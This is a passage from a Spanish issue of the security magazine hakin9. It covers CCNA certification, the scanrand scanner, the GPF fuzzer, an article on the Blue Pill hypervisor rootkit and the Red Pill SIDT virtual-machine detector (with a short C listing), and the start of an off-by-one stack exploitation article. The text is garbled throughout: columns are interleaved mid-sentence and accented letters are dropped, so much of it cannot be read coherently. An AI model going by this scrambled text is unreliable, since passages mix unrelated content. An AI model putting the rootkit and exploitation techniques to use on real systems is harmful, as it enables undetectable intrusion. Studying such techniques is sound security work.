y tambin prcticamente. Si bien los niveles bsicos, por dos con el protocolo CDP (Cisco Discovery Protocol) que
ejemplo CCNA, se pueden conseguir de manera estn- es protocolo de la capa 2 que une los protocolos de las
dar, esto es, al aprobar un examen escrito; en cambio, el capa inferiores de los medios fsicos con los protocolos
ttulo CCIE requiere aprobar el examen que comprueba de las capas superiores de red.
tanto los conocimientos de teora como los conocimien- CDP se emplea para recibir informacin sobre los
tos prcticos. Las pruebas informticas se realizan en los dispositivos vecinos. Configuracin del mensaje del da
centros de exmen Sylvan Prometric y cuestan entre 100 MOTD (Message of the Day), es decir el mensaje pre-
y 300 dlares. sentado en el momento de entrar. Es til para suministrar
El Certificado CCNA (ing. Cisco Certified Network mensajes dirigidos a todos los usuarios de la red.
Associate) es el primer nivel del certificado editado por Introduccin en la configuracin de las interfaces de
la empresa Cisco. Este certificado confirma que coneces red y las bases del protocolo IP.
los conocimientos necesarios para la instalacin, confi- Protocolo ARP. Conoceremos las bases del prctico
guracin y administracin de pequeas redes informti- empleo del protocolo ARP, es decir, protocolo que sirve
cas (de hasta los 100 hospedajes). Se puede aprobar el para translacin de las direcciones de red en direcciones
examen de certificacin de dos formas. El primero est de hardware de las tarjetas Ethernet. Empleado en las
compuesto de dos exmenes: 640-821 INTRO y 640-811 redes Ethernet, FDDI y TokenRing. l
ICND, que duran respectivamente 75 minutos y 60 mi-
nutos. El segundo modo est compuesto del examen de
una parte (640-801 CCNA) que dura 90 minutos e inclu-
ye los temas de los dos exmenes del primer modo. Los
exmenes se realizan con el ordenador e incluyen tanto
las preguntas tericas (en forma de la prueba de pregun-
tas de opcin mltiple) como la parte de simulacin que
requiere realizar ciertas actividades de configuracin en
el router o conmutador (switch).
En la siguiente tabla estn presentadas las rutas de
certificacin ofrecidas por la empresa Cisco:
Como curiosidad podemos mencionar que el examen
CCIE de dos das es terico y prctico (el nivel superior
de certificacin de Cisco) y se lleva en el laboratorio de
Bruselas. La mayora de las personas no son capaces de
aprobar el examen a la primera. Es una de las pruebas
ms difciles. Todos los certificados Cisco deben renovarse Figura 1. Cisco CCNA

12 www.hakin9.org
Si no puedes leer el contenido del CD y no es culpa de un dao
mecnico, contrlalo en por lo menos dos impulsiones de CD.

En caso de cualquier problema con CD rogamos


escribis a: cd@software.com.pl
Scanrand (parte de
Paketto Keiretsu)
Sistema Operativo: *NIX
Licencia: BSD
Objetivo: Escner de red
Herramientas Pgina principal: http://www.doxpara.com/read.php/code/paketto.html

Paketto Keiretsu es una coleccin de herramientas que emplean nuevas


y extraas estrategias para manipular las redes TCP/IP.

Inicio rpido. Digamos que quieres realizar un rpido


escaneo de red, comprueba los hospedajes disponibles
as como los servicios que funcionan en ellos. Puedes
decir: Hola, Tengo nmap!. Nmap seguramente es la
herramienta ms popular para ello. Pero si el tiempo ms
importa, prueba Scanrand. Es un escner de red muy
eficiente. del hospedaje. La tercera columna representa el nmero
Scanrand es parte de Paketto Keiretsu que incluye de saltos a la mquina de destino (su nmero es gracias
cuatro herramientas ms: al TTL del paquete IP). La siguiente columna muestra
el tiempo entre el inicio del escaneo y la respuesta de
Minewt puerta de NAT/MAT del espacio de usua- hospedaje.
rio, Entonces, cul es la diferencia entre scanrand
Linkcat suministra acceso directo al nivel de red 2, y nmap? Scanrand realiza el escaneo sin TCP. Esto
Paratrace herramienta de tipo traceroute que suena algo raro con un protocolo de estado tal como
emplea las conexiones TCP existentes , TCP. Normalmente los escneres envan paquetes SYN
Phentropy - traza una gran fuente de datos en matriz y, luego, o esperan su respuesta o almacenan conexio-
de 3D. nes movindose al siguiente hospedaje.
Scanrand lo hace ms rpido escaneando as dos
Funciones usuales. Lo que podemos hacer es realizar procesos separados: uno para enviar paquetes SYN, otro
un escaneo estndar de una pequea red del intervalo para recibir respuestas.
192.168.1.0/24 El primer proceso solamente enva paquetes con
el nmero de secuencia preparado(que es la funcin
# scanrand -c b100k t 3000 e 192.168.1.1-254 de refundicin de las direcciones y puertos de origen
c verificar que las respuestas ICMP no son parodiadas y destino). De esta forma no es necesario esperar las
b100k limitar el ancho de banda hasta 100 kbytes respuestas. El otro proceso hace la funcin de refundi-
t tiempo de espera hasta cualquier respuesta cin del mismo valor de cada paquete recibido y cuando
e coger todos los resultados incluso cuando el hospedaje ste coincide con el nmero de secuencia de ACK
no funciona (restado de cero) entonces conocemos su respuesta de
Los resultados sern algo as: escaneo (y no algunos otros paquetes).
UP: 192.168.1.1:80 [02] 0.009s Gracias a este algoritmo scanrand puede realizar
UP: 192.168.1.6:80 [01] 0.017s muchos escaneos de grandes redes.
UP: 192.168.1.20:80 [01] 0.105s Desventajas. No tiene tantas opciones como nmap
UP: 192.168.1.27:80 [01] 0.162s (como diferentes mtodos de escaneo, reconoci-
UP: 192.168.1.30:80 [01] 0.183s miento de sistemas operativos). Por eso no es una
DOWN: 192.168.1.155:80 [01] 0.544s herramienta de sustitucin, sino un complemento, una
DOWN: 192.168.1.229:80 [01] 0.744s alternativa para algunos casos (como el escaneo de
grandes redes).
En la primera columna est el estado del hospedaje El problema es que Paketto Keiretsu no es com-
escaneado. Esto puede ser UP el puerto especificado patible con gcc4 (en Fedora 4&5se obtienen errores
est escuchando, DOWN cuando se recibe el paquete en asignacin de valores no vlidos).
ACK/RST, UnXX ICMP recibido paquete inalcanzable Puedes encontrar documentacin adicional
(XX tipo de mensaje ICMP), X = - tiempo del mensaje en hakin9.live CD1
ICMP excedido. La segunda columna es el nmero IP Damian Szewczyk

14 www.hakin9.org
Herramientas

Difusor de empleo
general (GPF)
Sistema Operativo: *NIX
Licencia: GPLv2
Empleo: Tcnica automtica de pruebas (fuzzing) para encontrar gazapos en
un programa
Pgina principal: http://www.appliedsec.com/developers.html

GPF suministra a los desarrolladores, investigadores de seguridad y a los


profesionales de certificacin de calidad la capacidad de buscar rpidamente
gazapos/vulnerabilidades en la interfaz expuesta de aplicaciones conectadas
en red. GPF emplea sesiones de paquetes capturados (archivos pcap) para
construir la descripcin del protocolo del trfico real.

Inicio rpido. Volver al difusor de red. Di Me gustara difun- ya ha sido cubierto no significa que fuese cubierto sufi-
dir algo como DNS, IMAP, FTP, etc. Cmo puedo hacerlo? cientemente. El objetivo es cubrir con datos que pueden
Respuesta: muchas maneras diferentes. Lo primero ocasionar dificultades para que se encuentren gazapos,
a considerar es lo que el proceso bajo inspeccin (target) no solamente para cubrir. Desde las pistas con todos los
har cuando reciba datos que no puede parsear bien datos no son un problema grave de NP, se aplica tpica-
(estranguladores)? El destino probablemente generar una mente la difusin heurstica. Los difusores de mutacin
violacin del acceso a la memoria (SEGV o seal 11). En los se inician con una sesin bien conocida (captura de pcap
sistemas *NIX si antes has ejecutado ulimit -c unlimited esto desde wireshark, ethereal, tcpdump, etc) y responden
tambin puede generar el archivo de ncleo. contra el destino. Las mutaciones o faltas se inyectan en
Lo que quiero decir es que monitorizar cada bit del la tasa variable. Una tasa baja de faltas ser ms produc-
proceso de destino es tan importante como crear y sumi- tiva cuando el destino este por terminar cualquier sesin
nistrar datos malformados. La mejora forma de hacerlo completamente incorrecta.
es hacer que el depurador ejecute el proceso bajo Otras funciones usuales. GPF tiene muchos modos con
anlisis y capte/informe cualquier violacin del acceso los cuales puede funcionar: -C convierte el archivo pcap en
a la memoria que pueda ocurrir durante la prueba. En un archivo de texto fcil de editar, -R enva paquetes com-
Windows, la estructura de ingeniera inversa de PaiMei pletamente aleatorios, -G permite faltas de destino (como
es la ms reciente y la mejor forma de hacerlo. De hecho, errores de formato en el dcimo byte de la tercera rama,
actualmente estoy trabajando sobre las extensiones que etc), y -P es el modo ms fuerte de difusin de modelos. La
permitirn al difusor comunicarse con el depurador. difusin de modelos (pattern fuzzing) o tokenizing es una
Cuando la herramienta de difusin sea capaz de recibir tcnica donde GPF entiende el formato de difusin del pro-
las capturas de SEGV; mejorarn los informes generales. tocolo. Es particularmente til cuando se difunde un cdigo
Sin embargo, a veces se necesitan largas secuencias de binario como DNS. En DNS hay campos de longitud que
paquetes para iniciar complejos cmulos de desborda- mantienen el tamao de los siguientes campos de datos.
miento o no iniciadas faltas de variables, as pues tal Como estos campos siempre se difunden incorrectamente
informe sigue siendo limitado en su capacidad de ayudar los campos de datos sern difciles cuando el destino ignore
a diagnosticar la causa. tales paquetes. GPF emplear la tcnica de tokenizacin a
Entonces, cmo crearemos actualmente los datos la mayora de los protocolos basados en texto. Necesita-
malformados y los suministraremos? Como siempre, remos un plug-in de tokenizacin (tokAid) para escribir los
hay muchos mtodos, tcnicas y herramientas disponi- protocolos binarios no en la estructura de GPF. Es un pro-
bles. Algunos son gratuitos (GPF y autodafe) y algunos ceso casi indoloro; vea DNS.c o NORMAL_ASCII.c tokAids
cuestan dinero (Codenomicon, ImperfectNetworks, Mu como ejemplos. Tambin hay un extenso README en la
Security, BreakingPoint, beStorm, etc). Las dos tcni- estructura de GPF y un excelente vdeo hecho con flash
cas principales son Generacin y Mutacin. Difusores en la pgina http://www.appliedsec.com/developers.html.
de generacin - un difusor para cada protocolo. En Tengan paciencia al descargar la pelcula, pues es un gran
otras palabras, cuando quieres difundir SIP comprars archivo.
o crears difusor SIP. Esta herramienta puede difundir Desventajas. GPF no habla directamente al depura-
solamente este protocolo, pero, desde que fue creado dor que mira el destino. Otra vez, los sistemas basados
para ms de un objetivo, puede ser ms complejo. en mutacin pueden sufrir algunas deficiencias de CC.
Complejo en el sentido de la cobertura del cdigo (CC), Estoy trabajando estos dos problemas: PaiMei para
que se puede traducir en la creciente habilidad para el depurador y algoritmos para estudiar CC. Que se
encontrar gazapos. Sin embargo, ten cuidado con los diviertan al cazar gazapos! Documentacin adicional en
ms alabados mtricos de CC. Uno necesita difundir la hakin9.live CD1, directorio art.
mxima superficie posible para atacar, sin embargo, que Jared DeMott

www.hakin9.org 15
Hackea Windows Vista!

Ataque
Cristin David Argentero

Grado de dificultad

Queda, absolutamente, demostrado que en El Mundo de las TICs


(Tecnologas de la Informacin y Comunicaciones): El 1 puede
llegar a ser el ltimo y el ltimo puede lograr alcanzar la punta.
MS Windows Vista... Un Candidato que se coron Rey antes de
conseguir Su Legado?

C
uenta una bella historia (ya conocida www.coseinc.com/) consigui lograr el osado
en el Mundo de las TICs) que Microsoft desafo propuesto. Joanna Rutkowska, ha sido
Corp. invitaba a los asistentes expertos la primera persona (hasta el momento) en de-
y especialistas en Seguridad Informtica -vase, mostrar que es posible saltarse las medidas de
Hackers - a la prestigiosa conferencia de Black seguridad de Windows Vista. Ella explic que:
Hat (Famoso y reconocido MegaEvento sobre es posible utilizar tecnologa virtual para volver
Seguridad en las TICs (Tecnologas de la Infor- indetectables los cdigos maliciosos (Malware)
macin y Comunicaciones) realizado cada ao e insertarlos en el Kernel, de la misma forma
en Las Vegas. Es un acontecimiento que rene
a los gurs ms idneos en la materia a lo largo
y lo ancho de todo El Mundo. Es una cita obligada
En este artculo aprenders...
y majestuosa para quienes quieren degustar la Explotar las vulnerabilidades del nuevo y jugo-
otra cara de la moneda. Ms Informacin: http:// so SO de MS (Windows Vista);
www.blackhat.com/) 2006, con el motivo de Conceptos del trabajo con tcnicas/estrategias
intentar reventar los sistemas de seguridad de sobre las profundidades del Kernel del SO;
Windows Vista (su nuevo Sistema Operativo Tecnologas de virtualizacin por Hardware
en el mercado, aparentemente, el ms seguro y Software dedicado a la emulacin del mismo;
hasta la fecha jams creado, segn El To Bill Programacin de Mini-Exploit personalizado
Gates). Entonces, como era de suponerse, para lograr los objetivos propuestos;
Posibles (y futuras) soluciones a tales inconve-
pas lo inesperado (para Microsoft Corp.)
nientes.
y lo esperado (para el pblico investigador y/o
seguidor de estos productos, acostumbrados Lo que deberas saber...
a ello). Pero Qu ocurri? Una programa-
Las nociones preliminares del funcionamiento
dora polaca que trabaja para la Compaa interno de un SO;
Coseinc Inc (Empresa dedicada al estudio Fundamentos bsicos de la Programacin
avanzado de Software Neurlgico relacionado Orientada a Objetos (OMT);
a Cdigos Maliciosos. Ms Informacin: http://

16 www.hakin9.org
Hackea Windows Vista!

que actuara un RootKit (Conjunto de


utilidades (herramientas) para explo- Listado 1. Detector VMM basado en la Instruccin SIDT Trick del
tar las vulnerabilidades de un sistema Procesador
informtico y hacerse de l sin los /* Detector VMM: Basado en SIDT Trick
permisos otorgados legtimamente * Escrito por: Joanna Rutkowska
por el administrador a cargo. Ms in- * Adaptado por: ^[(CR@M3R)]^
formacin: http://www.rootkit.com/.) * Puede ser compilado con DevC++
(para Windows) y ejecutado en su SO
para obtener su objetivo; inclusive,
*/
pueden usarse Drivers de dispo-
sitivos sin necesidad de que estn #include <stdio.h>
firmados digitalmente (algo que se int main () {
intenta impedir en tal Software Ba- unsigned char m[2+4], rpill[] =
"\x0f\x01\x0d\x00\x00\x00\x00\xc3";
se). Tambin, dijo que: el hecho de
*((unsigned*)&rpill[3]) = (unsigned)m;
que los sistemas de seguridad de ((void(*)())&rpill)();
Windows Vista hayan sido violados
no significa que ste sea un sistema printf ("idt base: %#x\n", *((unsigned*)&m[2]));
operativo inseguro; simplemente, no if (m[5]>0xd0) printf ("Inside Matrix!\n", m[5]);
else printf ("Not in Matrix.\n");
es tan seguro como se ha dicho. Por
eso, a continuacin develaremos al
monstruo de dos cabezas que sor- Blue Pill (Pastilla Azul): utiliza mecanismos de seguridad de Win-
prendi e hizo temblar al mismsimo la tecnologa de virtualizacin dows Vista, aunque se conociera
Microsoft y a su ms reciente peque- por hardware en arquitecturas su algoritmo o su cdigo. Para ello,
a criatura gestada. de x64b, SVM/Pacfica de AMD virtualiza el SO donde se instala
o Bit VT de Intel, para tomar el e inserta el conjunto de cdigos ma-
Entrando en Clima control del SO (Sistema Operati- liciosos (malware) en el mismo, sin
Para poder hablar de las tcnicas vo) donde se aloja, instalndose ser descubierto.
y estrategias abocadas a tales te- on-the-fly (al vuelo), sin necesi- Puede funcionar en los SO MS
mas -ideados por Joanna Rutkowska dad de reiniciar el equipo y sin Windows Vista distribuidos como
(Foto ID)- es fundamental precisar hacer modificaciones en la BIOS Plataforma x64 Bits.
los conceptos que determinan sus (Sistema Bsico de I/O) ni en el
instauraciones. sector de arranque del disco. Red Pill (Pastilla Roja): utiliza un
Por ello, expondremos (sencilla mtodo genrico (basado en un
y brevemente) los principios que hi- ste, se fund con la intencin de bug de diseo mal implementado)
cieron permisible la siguiente nota: ser un RootKit indetectable para las que permite insertar cdigo arbi-
trario en las entraas del Kernel
The heart of SVM: VMRUN instruction (ncleo del SO) en MS Windows
HOST
Vista -Beta 2 Plataforma x64
Virtual
(Hypervisor) Machine
Bits- sin percatase de saber si
ste se encuentra firmado digi-
instruction flow
(outside Matrix) talmente o no. Tal procedimiento
instruction
Guest state end inside guest puede ser usado, por ejemplo,
specification of para sortear el sistema de certifi-
what guest events
are intercepted cados genuinos requeridos en la
instalacin de drivers (necesarios
para la funcionalidad adecuada
VMCB VMRUN de dispositivos en el SO).

Vale aclarar que, ambas nociones,


son independientes unas de otras.
resume at the next instruction Pero, pueden combinarse para dar
after VMRUN (exit code
written to VMCB on exit) un resultado de inseguridad an ma-
guest has been
yor que si se probaran por s solas.
intercepted Por lo tanto, su nica relacin
estrecha es que las 2 (dos) pueden
COSEINC Research, Advanced Malware Labs, 2006
ser funcionales en una cuenta de ad-
ministrador y en un SO MS Windows
Figura 1. El corazn de SVM/Pacfica (AMD): Instruccin VMRUN Vista en Versionas Betas que operen

www.hakin9.org 17
Ataque

sobre Plataformas de x64 Bits (otor- Por defecto, el SO trabajara en Estrictamente, slo se podran
gada mediante el Software Base cooperacin con un virtualizador instalar drivers de dispositivos
y los Microprocesadores que sopor- propio, de capa fina, que redirigi- autorizados por su firma digital,
ten tales arquitecturas). ra cualquier llamada al hardware. con Certificacin WHQL (Labo-
Adems, se hace nfasis en indi- ste detectara que otra VM (m- ratorio de Control de Calidad de
car que se trata del SO MS Windows quina virtual) intenta meterse Hardware de Windows).
Vista Beta 2 x64 Bits (versin publi- y apoderarse de su control, por lo
ca). Lo cual, establece que lo ms que podra interactuar con el Sis- Por lo que, el otro inconveniente
probable y normal sea corregir tales tema Operativo y alertar al usua- (Blue Red -Pastilla Roja-) tambin
fallas cuando salga una distribucin rio de esas intenciones quin, sera resuelto.
final (definitiva) del mismo. a la vez, frenara la/s accin/es Entonces, a continuacin, dejo
All, tericamente, ocurriran 2 que quiere/n llevarse a cabo. a su criterio la evaluacin tcnica del
(dos) cosas que evitaran tales in- Pues, as, se solucionara el pro- desarrollo de ambas metodologas
convenientes: blema Blue Pill (Pastilla Azul);
Ponindonos a Punto
Blue Pill Idea (simplified) El posterior anlisis (estructural, sis-
temtico, metdico y conciso) des-
PROC bluepill plegar los fundamentos y las carac-
Native Operating
System tersticas esenciales de los artilugios
enable SVM anteriormente descritos. Por ende,
estudiaremos y/o examinaremos el
prepare VMCB siguiente contenido:
Call bluepill

VMRUN
VMCB Parte I - Blue Pill (Pastilla
RIP Azul): Creando Cdigo
Blue Pill Malicioso -Malware-
check Hypervisor
Indetectable
VMCB exit code
Todos los RootKits y Backdoors ac-
tuales, de los cuales estoy enterado,
RET from bluepill PROC, se basan en una concepcin (teo-
never reached in host mode,
only executed once in guest mode ra). Por ejemplo: FU fue asentado
RET en una idea de desatar bloques de
EPROCESS de la lista de procesos
Native Operating System continues to execute, only during activos en el Kernel del SO, Shadow
but inside Virtual Machine this time... first call
Walker fue cimentado en un concep-
COSEINC Research, Advanced Malware Labs, 2006 to de engaar al visitante de una P-
gina Web (preparada para el caso)
Figura 2. La idea simplificada de Blue Pill (Pldora Azul) y de marcar algunas partes del cuer-
po del sitio (Body Site) como invlida
y as poder ejecutar cdigo arbitrario,
Nested VMs
Deepdoor hizo lo suyo cambiando
algunos campos en la estructura de
VMCB1 Creating new VMCB1
VMCB2 VM on behalf datos NDIS; tomando control remoto
of the VM1 del sistema, Etc
Hypervisor VMRUN VMRUN VMRUN Por lo tanto, una vez que sepas
de qu concepto se trata, podrs, al
Allow VM1
to handle VM2's menos hipotticamente, detectar el
VM 1 VMRUN
events Cdigo Malicioso que se encuentra
en tu mquina.
Ahora, imagina un Malware
intercepted (desconocido, an, en su tipo) con
VM 2
event capacidades de ser imperceptible.
time
Del cual no se pueda confiar en la os-
curidad de su concepto (teora). ste,
COSEINC Research, Advanced Malware Labs, 2006 no podra detectarse (en la prctica)
an cuando su algoritmo (conjunto
Figura 3 Anidamiento de Mquinas Virtuales (VMs) ordenado y finito de operaciones que

18 www.hakin9.org
Hackea Windows Vista!

permiten el clculo de su notacin) verter sus postulados arriba dispues-


se diera a conocer en pblico. tos sin ninguna duda. (Figura 1).
Vayamos ms lejos e imagin- La idea detrs de tal postura es
monos que, incluso, su cdigo de mera: tu SO traga La Pldora Azul
compilacin se encuentre In The (Blue Pill) y se despierta dentro de
Wild (en la calle), pero que todava una matriz controlada por el Hyper-
no se consiguiera manera alguna visor Azul Ultrafino de la Pldora,
para detectar que esta criatura est es decir, un prototipo subyacente
funcionando en vuestras mqui- de ejecucin que bloquea, encripta
nas Sera un potencial desastre y oculta procesos y/o procedimien-
libre por doquier! tos totalmente manipulables para el
Sin embargo, aunque pueda control de eventos en el SO, pero
sonar un tanto absurdo, se ha es- indetectables. Todo esto sucede
tado trabajando en una tecnologa en marcha (on-the-fly), o sea, sin
cdigo-nombrada Blue Pill (Pastilla el reinicio del sistema, y no hay pa-
Azul), que es justamente sobre sa trones visibles de comportamientos
presuncin (imperceptible al 100%, extraos en el funcionamiento de
segn las condiciones contempor- los recursos (lgicos y fsicos) de tu
neas) en la que uno se apoya para ordenador.

Time dilatation for guest

Set VMCB.TSC_OFFSET = -tx

Hypervisor VMRUN VMRUN

tx = extra time
VM 1

Intercepted Event, Next instruction in guest after


e.g. RDMSR the one which caused
interception, e.g. RDTSC

time

COSEINC Research, Advanced Malware Labs, 2006

Figura 4. Incapacidad de ejecucin y dilatacin en el tiempo a nivel de


Usuario Invitado

Delusion Demo (Blue Pill powered)

instruction flow instruction flow


(outside Matrix) (outside Matrix)

internet

Attacker connecting to Delusion/Blue Pill Blue Pill


Delusion backdoor installed debugging/tracing

COSEINC Research, Advanced Malware Labs, 2006

Figura 5. Esquema radical de interoperabilidad (demostracin de engao


con Blue Pill)

www.hakin9.org 19
Ataque

Empero, aunque no lo notes,


ahora todos los dispositivos son
completamente accesibles al SO,
que est ejecutando una mquina
virtual (VM) interior. Esto ocurre
gracias a las tecnologas de ltima
generacin que consienten la virtua-
lizacin del hardware con respecto
al software (sincronizados). Los
paradigmas ms reconocidos que
hacen posible tal obrar, en nuestros
das, son: SVM/Pacfica de AMD
o Bit VT de Intel. (Figura 2).
Dada la infografa de arriba, po-
demos entender como el SO sigue
creyendo que se est ejecutando en
la PC, cuando en realidad se ejecuta
dentro de una mquina virtual (VM)
controlada por el programa que lo
infect. Figura 6. Comindose a la memoria del sistema
De este modo, la aplicacin se
vuelve virtualmente invisible, dado memoria de intercambio virtual del incursin por las VMs de una pato-
que Windows Vista slo puede ver SO (Swap), donde ya no tendra la loga un tanto grave (clasificacin
la mquina virtual (el mundo que ha capacidad de seguir ejecutndose crtica) que permite insertar cdigo
sido puesto ante sus ojos para ocul- y, por lo tanto, tampoco podr mu- arbitrario en la mdula del Kernel
tarle la verdad). (Figura 3). tar ni moverse all.(Figura 4). En (ncleo del SO) sin percatase de
Asimismo, un programa de esta definitiva, el esquema radical de su conocer si ste se encuentra firma-
magnitud corriendo dentro de una interoperabilidad sera el que a conti- do digitalmente o no. Lo que sera
mquina virtual (VM) puede ser sos- nuacin se muestra en Figura 5. capaz de eludir el sistema de certi-
pechoso, pero un SO dentro de una ficados genuinos requeridos para la
mquina virtual (VM) que a su vez Parte II - Red Pill (Pastilla instalacin de drivers (precisos para
est dentro de otra mquina virtual Roja): Sometiendo a engaos el funcionamiento idneo de disposi-
(VM) ejecutando la misma aplicacin, el Ncleo del Sistema -Kernel- tivos en el SO).
muestra desconcierto de razona- Quin no conoce la importancia Se trata de una instruccin que
miento lgico. Sin embargo, su punto y relevancia del Kernel? Quin no no es privilegiada en los rangos del
en contra (defecto) es la degradacin se ha visto know out (KO) por la ca- Microprocesador, la SIDT. Es decir,
en su rendimiento y performance da del mismo? Por qu los mayores no causa una excepcin cuando se
(debido al consumo extremo de re- (y mejores) ataques a nivel de Segu- la aplica. Pero, si es sensitiva. O sea,
quisitos para mantenerse estable en ridad Informtica se suceden sobre da un resultado distinto en la VM
un sistema con tantas peticiones de este? A qu se debe tan renombra- (Level 1) que en la RM (Level 0). Lo
este tipo), lo que puede ser el taln de da autoridad y dogma? Y? cual, no debera ser anunciado de
Aquiles para producir una vacuna que Para sintetizarlo en unas pocas ninguna manera. Tal artimaa es co-
lo evite y prevenga su intrusin des- lneas, el Kernel es el Ncleo de todo nocida con el nombre de Exclusion
autorizada a posteriori de haberse Sistema Operativo (SO); el sostn Trap (Trampa de Exclusin).
entregado a la intervencin daina. del mismo, la columna vertebral que En conclusin, ejecutar una
Incluso, contamos con las opcio- permite la sincronizacin entre los instruccin SIDT da un resultado
nes para desactivar estas VMs por Recursos Fsicos (Hardware) con distinto dependiendo de donde se
Hardware desde la BIOS y el SO (in- los Recursos Lgicos (Software) de encuentro operando el Kernel del SO
dicadas por leyendas que hacen re- una mquina (llmese PC). El encar- con respecto al Microprocesador.
ferencia a sus nombres y funciones), gado de mantener en pie (armazn) Algo que no tendra que ser as,
las cuales no resultan convenientes a cualquier plataforma de Software por el simple hecho de que puede
recomendar, salvo para una salida de Base en posesin de un equipo delatar su ubicacin real a otras
emergencia al apuro oportuno. Pero, tanto mrito no le concede aplicaciones en memoria que pue-
Otro mecanismo para divisarlo ser perfecto y, lejos de estar de ello, den intentar persuadirlo para apro-
podra ser llenando toda la memoria tiene sus falencias. vecharse de tal vulnerabilidad y, por
RAM del equipo, de esta mane- En tal caso particular, MS Win- ende, esgrimir con sus actividades
ra, el programa slo podra ir a la dows Vista sufre en su clebre perjudiciales.

20 www.hakin9.org
Hackea Windows Vista!

El siguiente Cdigo de Programa- relocalizar el IDTR del invitado en (Laboratorio de Control de Calidad
cin (El programa puede fallar en los un lugar seguro, para que no cause de Hardware de Windows). Por lo
sistemas con proteccin PAX/X^W/ conflictos con el anfitrin y termine que, tal contingencia sera resuelta
grsecurity. Porque la variable rpill no desbordando al sistema. Desgracia- sin mayores peligros e inconvenien-
es marcada como ejecutable. Para damente, VMM no puede saber si tes en su devenir.
hacerlo, debe usarse mprotect() en (y cuando) el proceso que se ejecut Pues, entonces, como veredicto
la asignacin rpill con el atributo de en el invitado desencaden la instruc- final Reforzar la prevencin, pre-
PROT_EXEC. cin SIDT en el anfitrin, porque no ferentemente, con lo malo conocido,
Otra solucin sera usar, simple- es una orden privilegiada (y, como sin arriesgarse en ir en bsqueda de
mente, asm() como palabra clave en inicialmente describimos, no genera lo bueno por conocer.
lugar de shellcode (como buffer). Sin una excepcin). As, el proceso con- Esa sera mi principal recomen-
embargo, este cdigo de programa sigue la direccin IDT sin mayores dacin; hasta que, por lo menos, las
debe ser considerado (ms bien) inconvenientes y, por supuesto, sin el empresas en convenio, nos den una
como un esqueleto para construir el consentimiento del usuario a cargo. solucin pertinente a la complicacin
suyo. Mi meta era hacerlo tan simple Por ejemplo, fue observado que existente. Hacemos trato?
y porttil como sea posible. El resto, en VMWare la direccin relocalizada
se lo dejo al desafo de su imagina- IDT estaba en el sector 0xffXXXXXX, Al fin llegamos a la
cin) efectuado en C++ descubre mientras que, en Virtual PC, la seccin meta: Lo logramos!?
(fehacientemente) lo que intento era 0xe8XXXXXX; respectivamente. Podramos decir, en un juego inteli-
confesarles: Extrao, no? Sabiendo que gente de palabras, que el apasionante
Como antes lo dijimos, lo volve- una misma mquina (PC) comparte y sorpresivo Mundo de la (IN)se-
mos a reiterar El corazn de este un cabal recurso de privilegios en guridad Informtica nos sobrepasa y
cdigo, ciertamente, es la instruc- instancias del Microprocesador que colapsa cualquier seguridad vigente
cin SIDT (aqu como 0F010D[addr]) el SO (ms especficamente el Ker- en tiempos inconcebibles, pero rea-
que tiende a los volmenes de inte- nel del mismo) impone. La captura les. Qu lo corrobora y/o cerciora?
rrupcin del descriptor de la tabla del de pantalla que veremos en Figura 6, Sin ir ms all, lo aqu dispuesto
registro (IDTR) en el destino local de mostrar su representacin substan- (mecanismos -cariosamente lla-
memoria que se est operando. cial de interoperabilidad. mados: Blue Pill / Red Pill- ideados
Debido a que hay slo un IDTR re- Igualmente, se pretende que en y desarrollados por Joanna Ru-
gistrante como verdadero (True), pero un futuro, el SO (comandado por su tkowska en tcnicas y/o estrategias
(por lo menos) dos SO que corren Kernel) slo pueda instalar drivers de de Hackeo a Windows Vista) dan
concurrentemente (el anfitrin -host- dispositivos autorizados por firmas una pequea gran pauta de lo lejos
y el invitado -guest-), VMM necesita digitales con Certificacin WHQL que estamos de una forma bastante
efectista y eficiente de poseer un SO
(promocionado por Microsoft Corp.)
En la Red que sea robusto, confiable, verstil
y flexible a las exigencias de los
http://www.kriptopolis.org/node/2688
http://invisiblethings.org/
usuarios alrededor de todo el mundo
http://www.eweek.com/category2/0,1874,1237918,00.asp y de los tiempos que corren.
http://feeds.computerworld.com/Computerworld/TopNews Pero Sin olvidarse de hacerlos
http://www.internetnews.com/security/ SEGUROS!
http://www.internetnews.com/7-days/ Muchos le encontraran y/o con-
http://news.zdnet.com/2038-1009_22-0-topic.html?id=6219&name=Windows sideraran a esta nota un halo de
+Vista fantasa y supersticin. Sin embargo,
http://www.networkworld.com/news/ las denominaciones y tendencias
http://www.vmware.com/standards/index.html aqu desempeadas y aprendidas se
http://www.winehq.com
apoyan en el pedestal hegemnico
(por analoga) a la tan admirada Pe-
lcula Matrix donde la gente cree vivir
en un mundo real cuando en realidad
Sobre el Autor viven en teros artificiales controla-
Argentero, Cristin David (alias ^[(CR@M3R)]^)... Es estudiante de Lic. en Informtica
dos por mquinas. Del mismo modo,
y gran apasionado por las TICs (Tecnologas de la Informacin y Comunicaciones).
Sus actuales condiciones en la materia lo han llevado al abordaje de la Informacin Windows Vista cree ejecutarse en
y el Conocimiento de manera: Universal, Libre y Gratuita; prestando servicios una mquina real cuando en realidad
y soluciones en la profesin de manera idnea y acorde a las exigencias dispuestas. se ejecuta en una mquina virtual y
Contacto con el Autor: cdaznet@hotmail.com All es dnde comienzan los dolores
de cabezas. l

www.hakin9.org 21
Explotacin en la pila: la
tcnica off-by-one
Ataque

Jacobo Avariento Gimeno

Grado de dificultad

Cuando programamos usando el lenguaje C debemos ser


cuidadosos con la reserva de memoria y el uso de variables, ya
que si reservamos un buffer y no hacemos un buen uso podemos
provocar su desbordamiento y que un atacante se aproveche de
esta circunstancia para tomar el control del programa.

Y
a sabemos que el uso de las funcio- los desbordamientos de buffer tradicionales
nes gets, strcpy, etc pueden provocar (explicado en el artculo Desbordamiento de la
desbordamientos de buffer. Sin em- pila en Linux x86 del nmero 4/2004 de la revista
bargo, existe otro desbordamiento de buffer hakin9) y tener unos buenos conocimientos so-
mucho menos conocido y que tiene el mismo bre ensamblador para Intel x86. Para la seccin
impacto, tomar el control sobre el programa, de explotacin en un entorno real tambin es
se trata del desbordamiento por un byte (off- necesario tener unos conocimientos mnimos
by-one overflow), a primera vista parece sobre el protocolo HTTP, el formato de fichero
casi imposible poder redirigir el control de ELF y la creacin de shellcodes.
un programa simplemente sobreescribiendo En la tradicional tcnica de desbordamien-
un byte, pero como veremos en este artculo to de pila, para tomar el control del programa
es posible si se tienen los conocimientos y ejecutar cdigo arbitrario, debemos al me-
necesarios y el programa cumple ciertas nos poder sobreescribir el EIP residente en
condiciones. pila y as al retornar de la funcin saltar a la
Primero estudiaremos la teora con un
ejemplo sencillo para entender la tcnica y ms
tarde aplicaremos los conocimientos aprendi- En este artculo aprenders...
